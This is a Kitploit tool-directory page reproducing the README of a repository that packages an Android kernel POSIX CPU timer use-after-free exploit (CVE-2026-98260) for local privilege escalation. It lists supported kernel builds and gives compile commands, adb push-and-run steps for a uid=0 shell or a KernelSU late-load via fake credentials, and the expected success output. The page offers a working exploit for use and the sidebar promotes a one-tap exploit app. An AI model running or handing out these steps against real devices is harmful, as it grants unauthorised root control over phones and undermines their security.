Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-98260 — Android kernel POSIX CPU timer use-after-free exploit for 6.12.69 that achieves uid=0 shell or KernelSU late-load via fake credentials. | Kitploit
Tools/GitHubGitHub/yukonga/cve-2026-98260
Android SecurityPrivilege EscalationMemory ForensicsExploitationPost-ExploitationPayload DevelopmentBinary Exploitation
GitHubyukonga/cve-2026-98260

CVE-2026-98260

Android kernel POSIX CPU timer use-after-free exploit for 6.12.69 that achieves uid=0 shell or KernelSU late-load via fake credentials.

View Repository
682665 days agoReviewed by Kitploit
Share

CVE-2026-98260 Timer LPE

CVE-2026-98260 POSIX CPU timer UAF port; for supported cases see "Kernel Support"

Two chains:

  • timer:真实 cred 零写 → uid=0、u:r:shell:s0(shell 域 root,bset caps)
  • timer fake:fake cred(full caps)→ 安装版 KernelSU libksud.so late-load

Status

PathResult
real cred zero-write + setuid(0) + exec shuid=0, u:r:shell:s0, ROOT_SHELL_OK
fake cred + ksud late-loadinstalled libksud.so (uapi 6), KSU_LOADED, su is u:r:ksu:s0

Environment

  • Launch identity: adb/shell (uid 2000, u:r:shell:s0), can read tracefs and /proc/slabinfo
  • When the KernelSU manager is installed (me.weishu.kernelsu), fake automatically uses its lib/arm64/libksud.so

Build

cd timer
NDK=~/Android/Sdk/ndk/30.0.16248370/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
    -fno-stack-protector -fno-pic -I. \
    -ffunction-sections -fdata-sections timer.c -o timer \
    -Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
    -Wl,-z,norelro -pthread

Kernel Support

Each per-build constant has its own timer/kbuilds/<release>.h, indexed by timer/kbuilds.h; timer.c contains only logic, and timer matches the entire uname -r string; on a miss, it prints the known builds and exits

Supported:

  • 6.1.138-android14-11-g7b9e94e37cfa-mi
  • 6.6.118-android15-8-gf72a02f47f4b-abogki551678766-4k
  • 6.12.69-android16-6-g5fd39602326e-ab16372235-4k
  • 6.12.69-android16-6-g242e1a07f878-ab15865446-4k

Adding a new kernel (detect 98260 + write and register a profile; exit code 0 means exploitable, 3 means already fixed, 1 means error):

cargo build --release --manifest-path tools/extract/Cargo.toml
tools/extract/target/release/timer-extract boot.img --add

tools/*.c is used to verify call sites, raw records, timer leaks, and the 8 KiB AF_UNIX reclaim channel.

Usage

adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer

# 诊断
adb shell /data/local/tmp/timer build   # 打印内核 release 与命中的 profile
adb shell /data/local/tmp/timer ids     # 探测 tracefs page event id
adb shell /data/local/tmp/timer leak    # 只做 base/cred/task 泄漏,不触发 UAF

# uid-0 shell(真实 cred)
adb shell /data/local/tmp/timer         # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell   # 交互 sh

# KernelSU(fake cred + 安装版 ksud)
adb shell 'cd /data/local/tmp && setsid ./timer fake >timer.log 2>&1 </dev/null &'
adb shell cat /data/local/tmp/timer.log

fake success indicator:

[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id   # uid=0 ... context=u:r:ksu:s0

Security

  • A failed state will park and hold a zombie; do not kill it, restarting is the only safe cleanup
  • After triggering a UAF, do not timeout/kill the parked process, otherwise it may panic
  • Using KernelSU to simulate a soft reboot can normally preserve the jailbreak state; after a hard reboot, root disappears normally

Directory

timer/timer.c      exploit
timer/kbuilds.h    内核 profile 索引(include 列表 + 指针表)
timer/kbuilds/     各内核的 profile(<release>.h)
timer/timer        静态产物
tools/*.c          移植诊断源码
tools/extract/     提取器与检测(Rust,bin timer-extract)

License

PathLicense
Root directory (timer/, tools/*.c)MIT, see LICENSE
tools/extract/Apache-2.0, see tools/extract/LICENSE

Third-party sources:

  • timer/timer.c is adapted from src/uid0.c and src/poc.c in woshigenm/CVE-2026-98260 (MIT)
  • tools/extract/ comes from YuKongA/ghostlock-app/tools/extract_rs (Apache-2.0)
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    920
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    915
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    688
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    460
  • 5

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    409
  • 6

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    388

Explore all tools

Browse our collection of tools

View all tools →